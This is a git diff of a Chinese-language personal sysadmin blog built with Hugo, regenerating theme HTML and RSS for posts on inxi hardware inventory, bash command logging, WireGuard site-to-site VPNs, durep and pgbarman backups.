    [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

    +
    +
    +
    +
    +

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

    @@ -138,8 +314,6 @@

    然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

    -

    -

    幾次之後,終於決定透過ansible來做這件事

    一開始的想法很簡單,就用 lshw/dmidecode這些指令去做

    @@ -255,38 +429,131 @@ bbs089.abc.com ansible_ssh_host=192.168.0.89 ansible_ssh_user=root

    而且又不用管作業系統是什麼,反正有執行檔,直接派過去 remote 端就好了!

    真是讓我相見恨晚啊!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/log-all-bash-commands/index.html b/public/post/log-all-bash-commands/index.html index 5ff13c0a..2a2bccb1 100644 --- a/public/post/log-all-bash-commands/index.html +++ b/public/post/log-all-bash-commands/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

    +
    + + + + +
    +

    [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

    +
    +
    +
    +
    +

    今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

    居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

    @@ -136,8 +312,6 @@

    所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

    -

    -

    參考這個網頁 https://askubuntu.com/questions/93566/how-to-log-all-bash-commands-by-all-users-on-a-server

    @@ -192,34 +366,127 @@ Apr 23 15:18:48 hqs010 minion: minion [30832]: ip addr [0]

    裡面應該會看到滿滿的 cd / ls / cat 吧 XD

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/multiple-site-to-site-vpn-using-wireguard/index.html b/public/post/multiple-site-to-site-vpn-using-wireguard/index.html index 9684a8cd..4ee6cf3a 100644 --- a/public/post/multiple-site-to-site-vpn-using-wireguard/index.html +++ b/public/post/multiple-site-to-site-vpn-using-wireguard/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    +
    + + + + +
    +

    [筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

    +
    +
    +
    +
    +

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

    @@ -140,8 +316,6 @@

    這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

    -

    -

    every node

    enable ip_forward
    @@ -412,38 +586,131 @@ TCP window size: 85.0 KByte (default) [ 3] 0.0-30.1 sec 35.6 MBytes 9.94 Mbits/sec root@sdvpn:~# +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/nice-du-report-tool-durep/index.html b/public/post/nice-du-report-tool-durep/index.html index c51e09d4..3d08a664 100644 --- a/public/post/nice-du-report-tool-durep/index.html +++ b/public/post/nice-du-report-tool-durep/index.html @@ -1,142 +1,317 @@ - - - - - - - - - - - Nice Du Report Tool Durep | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Nice Du Report Tool Durep + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    最近在重新規劃前人留下的backup爛攤子 + + +

    + +
    + + + + +
    +

    Nice Du Report Tool Durep

    +
    +
    +
    +
    +

    最近在重新規劃前人留下的backup爛攤子 各個伺服器統一備份到一台backup storage 想說如果每天能夠看到backup storage的磁碟用量的話 就可以抓出備份空間成長速度、推估需要多大的磁碟空間 找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 基本上可以滿足我的需求

    -

    -我的需求其實很簡單

    +

    我的需求其實很簡單

    1. 可以指定目錄”深度”
    2. @@ -188,36 +363,129 @@ 如果能夠有縮排就更好了!

      https://i.imgur.com/ySNJJWx.png

      +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/themes/public/post/page/1/index.html b/public/post/page/1/index.xml/index.html similarity index 100% rename from themes/public/post/page/1/index.html rename to public/post/page/1/index.xml/index.html diff --git a/public/post/page/2/index.html b/public/post/page/2/index.html index 4d0d6eea..1fbb0ec6 100644 --- a/public/post/page/2/index.html +++ b/public/post/page/2/index.html @@ -1,137 +1,65 @@ - - - - - - - - - - - Posts | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Posts | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MCの飄狂山莊㊣

    - - What’s the Worst That Could Happen? - -
    - - - - -
    - - -
    -
    + + +
    + +
    +
    + +
    +
    +

    Posts

    + +
    +
    + +
    +
    +

    [筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

    +

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    +

    雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

    -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

    -
    - - - 2019-08-06 - - - - +

    完全沒辦法了解當時設計的邏輯,造成後續debug 困難

    - - - - 筆記 - - - +

    可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

    - - Eric Chang - -
    +

    之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

    - -

    之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

    +

    這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

    +
    +
    + +
    +
    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command

    -
    - - - 2019-08-05 - - - - - - - - - ansible - - - - - - Eric Chang - -
    - - -

    之前為了能夠在執行完 ansible playbook 後,能有個log 可以看

    +
    + +
    +
    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

    -
    - - - 2019-07-31 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近有個任務,需要大量安裝client

    +
    + +
    +
    +

    [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

    +

    最近有個任務,需要大量安裝client

    想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

    @@ -322,238 +116,38 @@

    就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

    -

    看似很簡單的一件事情,卻搞了我兩天….

    - -

    - - - - - -
    - - - - +

    看似很簡單的一件事情,卻搞了我兩天….

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr

    -
    - - - 2019-07-23 - - - - - - - - - ansible - - - - - - Eric Chang - -
    - - -

    因為工作上的需要,要修改client端的 /etc/environment 檔案

    +
    + +
    +
    +

    [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr

    +

    因為工作上的需要,要修改client端的 /etc/environment 檔案

    在有權限使用proxy 服務的user的環境中,加入proxy 的設定

    原本的清單中,有host/user/ip 這幾個值可以拿來判斷

    -

    proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment

    - - - - - -
    - - - - +

    proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file

    -
    - - - 2019-07-01 - - - - - - - - - Ansible - - - - - - Eric Chang - -
    - - -

    在ansible中,關於如何引用自定義的變數,一直讓我很頭疼

    +
    + +
    +
    - - -
    - -
    - - - - - -
    - - - - -
    -

    linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

    -
    - - - 2019-06-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    +
    + +
    +
    +

    linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

    +

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    但是如果要過 internet ,就會碰到各種開port的問題

    @@ -561,84 +155,14 @@

    解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多

    -

    只要下載teamviewer被控端,開啟後報ID 給協助者就好了

    - -

    - - - - - -
    - - - - +

    只要下載teamviewer被控端,開啟後報ID 給協助者就好了

    - - -
    - -
    - - - - - -
    - - - - -
    -

    Install Asus 10G NIC XG-C100C in Proxmox

    -
    - - - 2019-06-17 - - - - - - - - - Proxmox - - - - - - Eric Chang - -
    - - -

    前幾天接的一個case

    +
    + +
    +
    +

    Install Asus 10G NIC XG-C100C in Proxmox

    +

    前幾天接的一個case

    因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)

    @@ -648,506 +172,50 @@

    既然storage這邊選用了10G的機種,伺服器上當然也要增加10G網卡

    -

    一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

    - - - - - -
    - - - - +

    一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

    - - -
    - -
    - - - - - -
    + +
    + - - -
    - -
    - - - - - -
    - - - - -
    -

    Transfer File Content Using Xclip in Terminal

    -
    - - - 2019-05-17 - - - - - - - - - linux - - - - - - Eric Chang - -
    - - -

    工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

    +
    + +
    +
    +

    Transfer File Content Using Xclip in Terminal

    +

    工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

    以前都是傻傻的用 scp 傳檔案

    之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行

    -

    早上研究了一下,順便做個筆記。

    - -

    - - - - - -
    - - - - +

    早上研究了一下,順便做個筆記。

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

    -
    - - - 2019-04-23 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    - -

    然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

    - -

    所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

    - -

    也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

    - -

    然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

    - -

    - - - - - -
    - - - + +
    +
    + + - - - -
    - - - -
    - - - - - - - -
    - - - - - - -
    - + +
    +
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/post/page/2/index.xml b/public/post/page/2/index.xml new file mode 100644 index 00000000..61f5412b --- /dev/null +++ b/public/post/page/2/index.xml @@ -0,0 +1,170 @@ + + + Posts - MCの飄狂山莊㊣ + https://h.cowbay.org/post/ + Recent content in Posts on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters + https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ + Tue, 06 Aug 2019 17:14:17 +0800 + + https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ + <p>之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt</p> + +<p>然後用strongswan 來打 IPSEC site to site VPN</p> + +<p>config 看起來不是很難 (只是看起來)</p> + +<p>但是實際上已經找不到當初的文件</p> + +<p>所以要維護很困難(光那些RSA KEY 就不知道為何、如何產生)</p> + +<p>後來採購了兩台edgerouter X 做測試</p> + +<p>也用openvpn 成功的建立了 site to site VPN</p> + +<p>本來想說 openvpn 已經夠簡單了</p> + +<p>今天看到文章說用wireguard 可以更簡單</p> + +<p>於是研究了一下,發現還真的很簡單!</p> + + [筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command + https://h.cowbay.org/post/another-way-to-keep-ansible-log/ + Mon, 05 Aug 2019 16:24:40 +0800 + + https://h.cowbay.org/post/another-way-to-keep-ansible-log/ + <p>之前為了能夠在執行完 ansible playbook 後,能有個log 可以看</p> + +<p>所以在每次執行的時候,都要加入 tee 的指令</p> + +<p>像是</p> + +<pre><code>ANSIBLE_CONFIG=/home/D/ansiblecontrol/ansible.cfg /usr/local/bin/ansible-playbook /home/D/ansiblecontrol/playbook.user_client.yml --vault-password-file=/home/D/ansiblecontrol/vault.passwd -i /home/D/ansiblecontrol/inventory/production -f1 --limit tyuserclients |tee /tmp/tyuserclients.log +</code></pre> + +<p>一直都是放在crontab 裡面執行,也就沒有去管他</p> + +<p>反正也沒有人關心結果怎樣 (攤手</p> + + [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + Wed, 31 Jul 2019 11:06:33 +0800 + + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + <p>最近有個任務,需要大量安裝client</p> + +<p>想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot</p> + +<p>然後選擇OS版本,就可以自動進行安裝</p> + +<p>安裝完成後,會自動重新開機,接著就用ansible來做user環境設定</p> + +<p>PXE的部份本來是沒有什麼問題,自動安裝系統的部份都做好了</p> + +<p>可是因為這次的量比較多,想說讓每一台在完成PXE安裝後的第一次重開機</p> + +<p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> + +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> + + [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr + https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ + Tue, 23 Jul 2019 15:06:37 +0800 + + https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ + <p>因為工作上的需要,要修改client端的 /etc/environment 檔案</p> + +<p>在有權限使用proxy 服務的user的環境中,加入proxy 的設定</p> + +<p>原本的清單中,有host/user/ip 這幾個值可以拿來判斷</p> + +<p>proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment</p> + + [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file + https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ + Mon, 01 Jul 2019 09:06:12 +0800 + + https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ + <p>在ansible中,關於如何引用自定義的變數,一直讓我很頭疼</p> + +<p>尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數</p> + +<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> + + linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral + https://h.cowbay.org/post/remote-management-system-meshcentral/ + Thu, 20 Jun 2019 11:03:12 +0800 + + https://h.cowbay.org/post/remote-management-system-meshcentral/ + <p>之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體</p> + +<p>但是如果要過 internet ,就會碰到各種開port的問題</p> + +<p>在這種環境下,就有了當時 teamviewer 的橫空出世</p> + +<p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> + +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> + + Install Asus 10G NIC XG-C100C in Proxmox + https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ + Mon, 17 Jun 2019 13:20:57 +0800 + + https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ + <p>前幾天接的一個case</p> + +<p>因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)</p> + +<p>改採用比較高階一點的洋垃圾,規格大概是 Intel E5-2680V2 x2 + 64G RAM + 128G SSD x2 (OS) + 960G SSD x4 (raid 10 , zfs)</p> + +<p>storage 選擇QNAP NAS TS-932X + 960G SSD x 4 (raid 10 , NFS) + QNAP 10G Switch QSW-1280C-8C</p> + +<p>既然storage這邊選用了10G的機種,伺服器上當然也要增加10G網卡</p> + +<p>一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡</p> + + [筆記] 修改 docker 容器內的時區 - Change Timezone in Docker + https://h.cowbay.org/post/change-timezone-in-docker/ + Tue, 21 May 2019 17:25:15 +0800 + + https://h.cowbay.org/post/change-timezone-in-docker/ + <p>最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致</p> + +<p>有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的&hellip;.</p> + + Transfer File Content Using Xclip in Terminal + https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ + Fri, 17 May 2019 12:18:54 +0800 + + https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ + <p>工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。</p> + +<p>以前都是傻傻的用 scp 傳檔案</p> + +<p>之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行</p> + +<p>早上研究了一下,順便做個筆記。</p> + + [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + Tue, 23 Apr 2019 15:28:56 +0800 + + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + <p>最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了&hellip;.</p> + +<p>然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著</p> + +<p>所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!</p> + +<p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> + +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> + + + \ No newline at end of file diff --git a/public/post/page/3/index.html b/public/post/page/3/index.html index 219523aa..168b6d14 100644 --- a/public/post/page/3/index.html +++ b/public/post/page/3/index.html @@ -1,742 +1,153 @@ - - - - - - - - - - - Posts | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Posts | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MCの飄狂山莊㊣

    - - What’s the Worst That Could Happen? - -
    - - - - -
    - - -
    -
    + + +
    + +
    +
    + +
    +
    +

    Posts

    + +
    +
    + +
    +
    +

    [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

    +

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    +

    然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

    -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

    -
    - - - 2019-04-23 - - - - - - - - - 筆記 - - - +

    所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

    - - Eric Chang - -
    +

    也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

    - -

    今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

    +

    然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

    +
    +
    + +
    +
    +

    [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

    +

    今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

    居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

    翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)

    -

    所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

    - -

    - - - - - -
    - - - - +

    所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

    -
    - - - 2019-04-01 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

    +
    + +
    +
    +

    [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

    +

    今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

    想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate

    -

    可是一直出現device busy的錯誤訊息

    - -

    - - - - - -
    - - - - +

    可是一直出現device busy的錯誤訊息

    - - -
    - -
    - - - - - -
    + +
    + - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL

    -
    - - - 2019-03-20 - - - - - - - - - Eric Chang - -
    - - -

    今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信

    +
    + +
    +
    +

    [筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL

    +

    今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信

    然後google 不知道跟人家改了什麼,結果不接受原本的認證了… WTF ….

    -

    然後,這問題應該很久了,結果現在才在講 ….

    - - - - - -
    - - - - +

    然後,這問題應該很久了,結果現在才在講 ….

    - - -
    - -
    - - - - - -
    - - - - -
    -

    Install Timeshift on Ubuntu1804

    -
    - - - 2019-03-11 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

    +
    + +
    +
    +

    Install Timeshift on Ubuntu1804

    +

    最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

    因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體

    可以很簡單快速的備份、恢復系統狀態

    -

    可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

    - -

    - - - - - -
    - - - - +

    可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

    - - -
    - -
    - - - - - -
    + +
    + - - -
    - -
    - - - - - -
    - - - - -
    -

    Ubuntu 1804 Install Root on Raid

    -
    - - - 2019-01-16 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    +
    + +
    +
    +

    Ubuntu 1804 Install Root on Raid

    +

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

    -

    結果在安裝過程中,做raid碰到一些問題,來紀錄一下

    - -

    - - - - - -
    - - - - +

    結果在安裝過程中,做raid碰到一些問題,來紀錄一下

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

    -
    - - - 2018-12-13 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

    +
    + +
    +
    +

    [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

    +

    這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

    因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10

    然後把Freenas 安裝在隨身碟上

    -

    不過會一直出現Smartd failed to start 的錯誤訊息

    - -

    - - - - - -
    - - - - +

    不過會一直出現Smartd failed to start 的錯誤訊息

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild

    -
    - - - 2018-12-12 - - - - - - - - - 碎念 - - - - - - Eric Chang - -
    - - -

    最近在做一台老機器的P2V

    +
    + +
    +
    +

    [碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild

    +

    最近在做一台老機器的P2V

    偏偏user說不能關機,所以我用dd + ssh 做線上移轉

    @@ -744,348 +155,29 @@

    只是因為原來的設定有用mdadm 做raid1

    -

    這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

    - -

    - - - - - -
    - - - - +

    這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment

    -
    - - - 2018-12-07 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作的關係,現在很多時間都花在VIM的操作上

    - -

    所以之前花了滿多時間,調整出一個適合自己的VIM環境

    - -

    原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面

    - -

    然後每到一台新的機器,就要去clone 下來

    - -

    - - - - - -
    - - - + +
    +
    + + - - - -
    - - - -
    - - - - - - - -
    - - - - - - - - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + + + + - + diff --git a/public/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/index.html b/public/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/index.html index f8ec42bb..16ef37dd 100644 --- a/public/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/index.html +++ b/public/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/index.html @@ -1,136 +1,310 @@ - - - - - - - - - - - [筆記] 在Ubuntu 18.04 下 透過 pgbarman rsync/ssh backup 備份 postgresql 10 / backup postgresql 10 with pgbarman via ssh/rsync in ubuntu 18.04 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 在Ubuntu 18.04 下 透過 pgbarman rsync/ssh backup 備份 postgresql 10 / backup postgresql 10 with pgbarman via ssh/rsync in ubuntu 18.04 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式

    + + +
    + +
    + + + + +
    +

    [筆記] 在Ubuntu 18.04 下 透過 pgbarman rsync/ssh backup 備份 postgresql 10 / backup postgresql 10 with pgbarman via ssh/rsync in ubuntu 18.04

    +
    +
    +
    +
    +

    這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式

    其實呢,透過 ssh 的方式來做備份,雖然最後有弄出來,但是我不知道到底做了什麼事才搞定

